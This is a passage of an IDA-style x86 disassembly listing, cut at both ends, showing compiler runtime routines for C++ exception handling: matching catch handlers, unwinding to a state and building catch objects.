		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+arg_4]
		push	edx
		call	sub_41D520
		add	esp, 0Ch


loc_4279BC:				; CODE XREF: sub_427990+7j
		pop	ebp
		retn
sub_427990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4279C0	proc near		; CODE XREF: sub_41D100+27p
					; sub_41D1E0+2Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 19930520h
		jnz	short loc_4279DA
		mov	[ebp+var_8], 0
		jmp	short loc_4279E2
; ---------------------------------------------------------------------------


loc_4279DA:				; CODE XREF: sub_4279C0+Fj
		call	sub_428720
		mov	[ebp+var_8], eax


loc_4279E2:				; CODE XREF: sub_4279C0+18j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, 66h
		test	edx, edx
		jz	short loc_427A1E
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+4], 0
		jz	short loc_427A14
		cmp	[ebp+arg_14], 0
		jnz	short loc_427A14
		push	0FFFFFFFFh
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_427F30
		add	esp, 10h


loc_427A14:				; CODE XREF: sub_4279C0+36j
					; sub_4279C0+3Cj
		mov	eax, 1
		jmp	loc_427AAB
; ---------------------------------------------------------------------------


loc_427A1E:				; CODE XREF: sub_4279C0+2Dj
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+0Ch], 0
		jz	short loc_427AA6
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_427A7E
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+14h], 19930520h
		jbe	short loc_427A7E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_427A7E
		mov	ecx, [ebp+arg_1C]
		and	ecx, 0FFh
		push	ecx
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	[ebp+var_4]
		add	esp, 20h
		jmp	short loc_427AAB
; ---------------------------------------------------------------------------


loc_427A7E:				; CODE XREF: sub_4279C0+70j
					; sub_4279C0+7Cj ...
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	dl, byte ptr [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_427AB0
		add	esp, 20h


loc_427AA6:				; CODE XREF: sub_4279C0+65j
		mov	eax, 1


loc_427AAB:				; CODE XREF: sub_4279C0+59j
					; sub_4279C0+BCj
		mov	esp, ebp
		pop	ebp
		retn
sub_4279C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427AB0	proc near		; CODE XREF: sub_4279C0+DEp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0FFFFFFFFh
		jl	short loc_427ADD
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_4]
		cmp	eax, [edx+4]
		jge	short loc_427ADD
		mov	[ebp+var_28], 0
		jmp	short loc_427AE5
; ---------------------------------------------------------------------------


loc_427ADD:				; CODE XREF: sub_427AB0+17j
					; sub_427AB0+22j
		call	sub_428720
		mov	[ebp+var_28], eax


loc_427AE5:				; CODE XREF: sub_427AB0+2Bj
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	loc_427BA5
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+10h], 3
		jnz	loc_427BA5
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+14h], 19930520h
		jnz	loc_427BA5
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+1Ch], 0
		jnz	loc_427BA5
		call	sub_423CF0
		cmp	dword ptr [eax+6Ch], 0
		jnz	short loc_427B2E
		jmp	loc_427D4C
; ---------------------------------------------------------------------------


loc_427B2E:				; CODE XREF: sub_427AB0+77j
		call	sub_423CF0
		mov	edx, [eax+6Ch]
		mov	[ebp+arg_0], edx
		call	sub_423CF0
		mov	eax, [eax+70h]
		mov	[ebp+arg_8], eax
		mov	[ebp+var_8], 1
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42DE70
		add	esp, 8
		test	eax, eax
		jz	short loc_427B63
		mov	[ebp+var_2C], 0
		jmp	short loc_427B6B
; ---------------------------------------------------------------------------


loc_427B63:				; CODE XREF: sub_427AB0+A8j
		call	sub_428720
		mov	[ebp+var_2C], eax


loc_427B6B:				; CODE XREF: sub_427AB0+B1j
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_427B9E
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_427B9E
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short loc_427B9E
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_427B9E
		call	sub_428720
		mov	[ebp+var_30], eax
		jmp	short loc_427BA5
; ---------------------------------------------------------------------------


loc_427B9E:				; CODE XREF: sub_427AB0+C4j
					; sub_427AB0+CDj ...
		mov	[ebp+var_30], 0


loc_427BA5:				; CODE XREF: sub_427AB0+3Ej
					; sub_427AB0+4Bj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	loc_427D0C
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+10h], 3
		jnz	loc_427D0C
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+14h], 19930520h
		jnz	loc_427D0C
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_14]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	sub_41D380
		add	esp, 14h
		mov	[ebp+var_10], eax
		jmp	short loc_427C04
; ---------------------------------------------------------------------------


loc_427BF2:				; CODE XREF: sub_427AB0:loc_427C25j
					; sub_427AB0:loc_427CEAj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 14h
		mov	[ebp+var_10], eax


loc_427C04:				; CODE XREF: sub_427AB0+140j
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_C]
		jnb	loc_427CEF
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		cmp	eax, [ebp+var_4]
		jg	short loc_427C25
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jle	short loc_427C27


loc_427C25:				; CODE XREF: sub_427AB0+168j
		jmp	short loc_427BF2
; ---------------------------------------------------------------------------


loc_427C27:				; CODE XREF: sub_427AB0+173j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+10h]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_24], eax
		jmp	short loc_427C4D
; ---------------------------------------------------------------------------


loc_427C3B:				; CODE XREF: sub_427AB0:loc_427CE5j
		mov	ecx, [ebp+var_24]
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_1C]
		add	edx, 10h
		mov	[ebp+var_1C], edx


loc_427C4D:				; CODE XREF: sub_427AB0+189j
		cmp	[ebp+var_24], 0
		jle	loc_427CEA
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		add	edx, 4
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		mov	eax, [edx]
		mov	[ebp+var_20], eax
		jmp	short loc_427C88
; ---------------------------------------------------------------------------


loc_427C76:				; CODE XREF: sub_427AB0+1FBj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_18]
		add	edx, 4
		mov	[ebp+var_18], edx


loc_427C88:				; CODE XREF: sub_427AB0+1C4j
		cmp	[ebp+var_20], 0
		jle	short loc_427CE5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+var_18]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_427E70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_427CAD
		jmp	short loc_427C76
; ---------------------------------------------------------------------------


loc_427CAD:				; CODE XREF: sub_427AB0+1F9j
		mov	dl, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_428060
		add	esp, 2Ch
		jmp	short loc_427D4A
; ---------------------------------------------------------------------------


loc_427CE5:				; CODE XREF: sub_427AB0+1DCj
		jmp	loc_427C3B
; ---------------------------------------------------------------------------


loc_427CEA:				; CODE XREF: sub_427AB0+1A1j
					; sub_427AB0:loc_427D4Aj
		jmp	loc_427BF2
; ---------------------------------------------------------------------------


loc_427CEF:				; CODE XREF: sub_427AB0+15Aj
		mov	edx, [ebp+arg_14]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_427D0A
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428540
		add	esp, 8


loc_427D0A:				; CODE XREF: sub_427AB0+24Aj
		jmp	short loc_427D48
; ---------------------------------------------------------------------------


loc_427D0C:				; CODE XREF: sub_427AB0+FEj
					; sub_427AB0+10Bj ...
		mov	ecx, [ebp+arg_14]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_427D43
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_427D50
		add	esp, 20h
		jmp	short loc_427D48
; ---------------------------------------------------------------------------


loc_427D43:				; CODE XREF: sub_427AB0+267j
		call	sub_428670


loc_427D48:				; CODE XREF: sub_427AB0:loc_427D0Aj
					; sub_427AB0+291j
		jmp	short loc_427D4C
; ---------------------------------------------------------------------------


loc_427D4A:				; CODE XREF: sub_427AB0+233j
		jmp	short loc_427CEA
; ---------------------------------------------------------------------------


loc_427D4C:				; CODE XREF: sub_427AB0+79j
					; sub_427AB0:loc_427D48j
		mov	esp, ebp
		pop	ebp
		retn
sub_427AB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427D50	proc near		; CODE XREF: sub_427AB0+289p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		call	sub_423CF0
		cmp	dword ptr [eax+68h], 0
		jz	short loc_427D8E
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41D220
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_427D8E
		jmp	loc_427E61
; ---------------------------------------------------------------------------


loc_427D8E:				; CODE XREF: sub_427D50+Fj
					; sub_427D50+37j
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		call	sub_41D380
		add	esp, 14h
		mov	[ebp+var_8], eax
		jmp	short loc_427DC1
; ---------------------------------------------------------------------------


loc_427DAF:				; CODE XREF: sub_427D50:loc_427E19j
					; sub_427D50+10Cj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 14h
		mov	[ebp+var_8], ecx


loc_427DC1:				; CODE XREF: sub_427D50+5Dj
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_4]
		jnb	loc_427E61
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		cmp	ecx, [eax]
		jl	short loc_427E19
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_14]
		cmp	eax, [edx+4]
		jg	short loc_427E19
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		sub	edx, 1
		shl	edx, 4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		cmp	dword ptr [ecx+edx+4], 0
		jz	short loc_427E1B
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		mov	eax, [edx+eax+4]
		movsx	ecx, byte ptr [eax+8]
		test	ecx, ecx
		jz	short loc_427E1B


loc_427E19:				; CODE XREF: sub_427D50+85j
					; sub_427D50+90j
		jmp	short loc_427DAF
; ---------------------------------------------------------------------------


loc_427E1B:				; CODE XREF: sub_427D50+A9j
					; sub_427D50+C7j
		push	1
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		push	0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		add	edx, eax
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_428060
		add	esp, 2Ch
		jmp	loc_427DAF
; ---------------------------------------------------------------------------


loc_427E61:				; CODE XREF: sub_427D50+39j
					; sub_427D50+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_427D50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427E70	proc near		; CODE XREF: sub_427AB0+1EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_427E8B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		movsx	eax, byte ptr [edx+8]
		test	eax, eax
		jnz	short loc_427E95


loc_427E8B:				; CODE XREF: sub_427E70+Bj
		mov	eax, 1
		jmp	loc_427F22
; ---------------------------------------------------------------------------


loc_427E95:				; CODE XREF: sub_427E70+19j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+4]
		cmp	eax, [edx+4]
		jz	short loc_427EC7
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		add	edx, 8
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		add	ecx, 8
		push	ecx
		call	sub_41C4C0
		add	esp, 8
		test	eax, eax
		jz	short loc_427EC7
		xor	eax, eax
		jmp	short loc_427F22
; ---------------------------------------------------------------------------


loc_427EC7:				; CODE XREF: sub_427E70+31j
					; sub_427E70+51j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 2
		test	eax, eax
		jz	short loc_427EDF
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 8
		test	edx, edx
		jz	short loc_427F18


loc_427EDF:				; CODE XREF: sub_427E70+61j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_427EF7
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		and	eax, 1
		test	eax, eax
		jz	short loc_427F18


loc_427EF7:				; CODE XREF: sub_427E70+79j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		and	edx, 2
		test	edx, edx
		jz	short loc_427F0F
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_427F18


loc_427F0F:				; CODE XREF: sub_427E70+91j
		mov	[ebp+var_4], 1
		jmp	short loc_427F1F
; ---------------------------------------------------------------------------


loc_427F18:				; CODE XREF: sub_427E70+6Dj
					; sub_427E70+85j ...
		mov	[ebp+var_4], 0


loc_427F1F:				; CODE XREF: sub_427E70+A6j
		mov	eax, [ebp+var_4]


loc_427F22:				; CODE XREF: sub_427E70+20j
					; sub_427E70+55j
		mov	esp, ebp
		pop	ebp
		retn
sub_427E70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427F30	proc near		; CODE XREF: .nsp0:0041D15Ap
					; sub_4279C0+4Cp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4381D0
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	[ebp+var_1C], ecx


loc_427F5F:				; CODE XREF: sub_427F30+BFj
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+arg_C]
		jz	loc_427FF4
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jle	short loc_427F85
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_1C]
		cmp	ecx, [eax+4]
		jge	short loc_427F85
		mov	[ebp+var_20], 0
		jmp	short loc_427F8D
; ---------------------------------------------------------------------------


loc_427F85:				; CODE XREF: sub_427F30+3Fj
					; sub_427F30+4Aj
		call	sub_428720
		mov	[ebp+var_20], eax


loc_427F8D:				; CODE XREF: sub_427F30+53j
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [eax+ecx*8+4], 0
		jz	short loc_427FC0
		push	103h
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+edx*8+4]
		push	eax
		call	sub_428620


loc_427FC0:				; CODE XREF: sub_427F30+72j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_427FE0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_428030
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0FFFFFFFFh


loc_427FE0:				; CODE XREF: sub_427F30+97j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_1C]
		mov	edx, [eax+ecx*8]
		mov	[ebp+var_1C], edx
		jmp	loc_427F5F
; ---------------------------------------------------------------------------


loc_427FF4:				; CODE XREF: sub_427F30+35j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+arg_C]
		jnz	short loc_428005
		mov	[ebp+var_24], 0
		jmp	short loc_42800D
; ---------------------------------------------------------------------------


loc_428005:				; CODE XREF: sub_427F30+CAj
		call	sub_428720
		mov	[ebp+var_24], eax


loc_42800D:				; CODE XREF: sub_427F30+D3j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_1C]
		mov	[ecx+8], edx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_427F30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428030	proc near		; CODE XREF: sub_427F30+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0E06D7363h
		jz	short loc_428051
		jmp	short loc_428056
; ---------------------------------------------------------------------------


loc_428051:				; CODE XREF: sub_428030+1Dj
		call	sub_428670


loc_428056:				; CODE XREF: sub_428030+1Fj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_428030	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428060	proc near		; CODE XREF: sub_427AB0+22Bp
					; sub_427D50+104p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_18], 0
		jz	short loc_42808A
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4282C0
		add	esp, 10h


loc_42808A:				; CODE XREF: sub_428060+10j
		cmp	[ebp+arg_24], 0
		jnz	short loc_42809F
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41D0A0
		jmp	short loc_4280AC
; ---------------------------------------------------------------------------


loc_42809F:				; CODE XREF: sub_428060+2Ej
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_24]
		push	edx
		call	sub_41D0A0


loc_4280AC:				; CODE XREF: sub_428060+3Dj
		mov	eax, [ebp+arg_1C]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_427F30
		add	esp, 10h
		mov	edx, [ebp+arg_1C]
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		push	100h
		mov	edx, [ebp+arg_20]
		push	edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_428120
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_428113
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41D030


loc_428113:				; CODE XREF: sub_428060+A4j
		mov	esp, ebp
		pop	ebp
		retn
sub_428060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428120	proc near		; CODE XREF: sub_428060+95p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

; FUNCTION CHUNK AT 0042825B SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4381E0
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		mov	[ebp+var_24], 0
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx-4]
		mov	[ebp+var_28], edx
		call	sub_423CF0
		mov	eax, [eax+6Ch]
		mov	[ebp+var_1C], eax
		call	sub_423CF0
		mov	ecx, [eax+70h]
		mov	[ebp+var_20], ecx
		call	sub_423CF0
		mov	edx, [ebp+arg_0]
		mov	[eax+6Ch], edx
		call	sub_423CF0
		mov	ecx, [ebp+arg_8]
		mov	[eax+70h], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_4], 1
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41D170
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], 0
		jmp	short loc_4281EF
; ---------------------------------------------------------------------------


loc_4281BE:				; DATA XREF: .nsp0:004381F0o
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_428270
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_2C], 0
		push	0FFFFFFFFh
		mov	[ebp+var_30], 0
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_41D452
		add	esp, 8
		mov	eax, [ebp+var_30]
		jmp	short loc_42825E
; ---------------------------------------------------------------------------


loc_4281EF:				; CODE XREF: sub_428120+9Cj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4281FD
		jmp	short loc_42825B
sub_428120	endp


; =============== S U B	R O U T	I N E =======================================



sub_4281FD	proc near		; CODE XREF: sub_428120+D6p
					; DATA XREF: .nsp0:004381E8o
		mov	eax, [ebp+0Ch]
		mov	ecx, [ebp-28h]
		mov	[eax-4], ecx
		call	sub_423CF0
		mov	edx, [ebp-1Ch]
		mov	[eax+6Ch], edx
		call	sub_423CF0
		mov	ecx, [ebp-20h]
		mov	[eax+70h], ecx
		mov	edx, [ebp+8]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short locret_42825A
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+10h], 3
		jnz	short locret_42825A
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short locret_42825A
		cmp	dword ptr [ebp-24h], 0
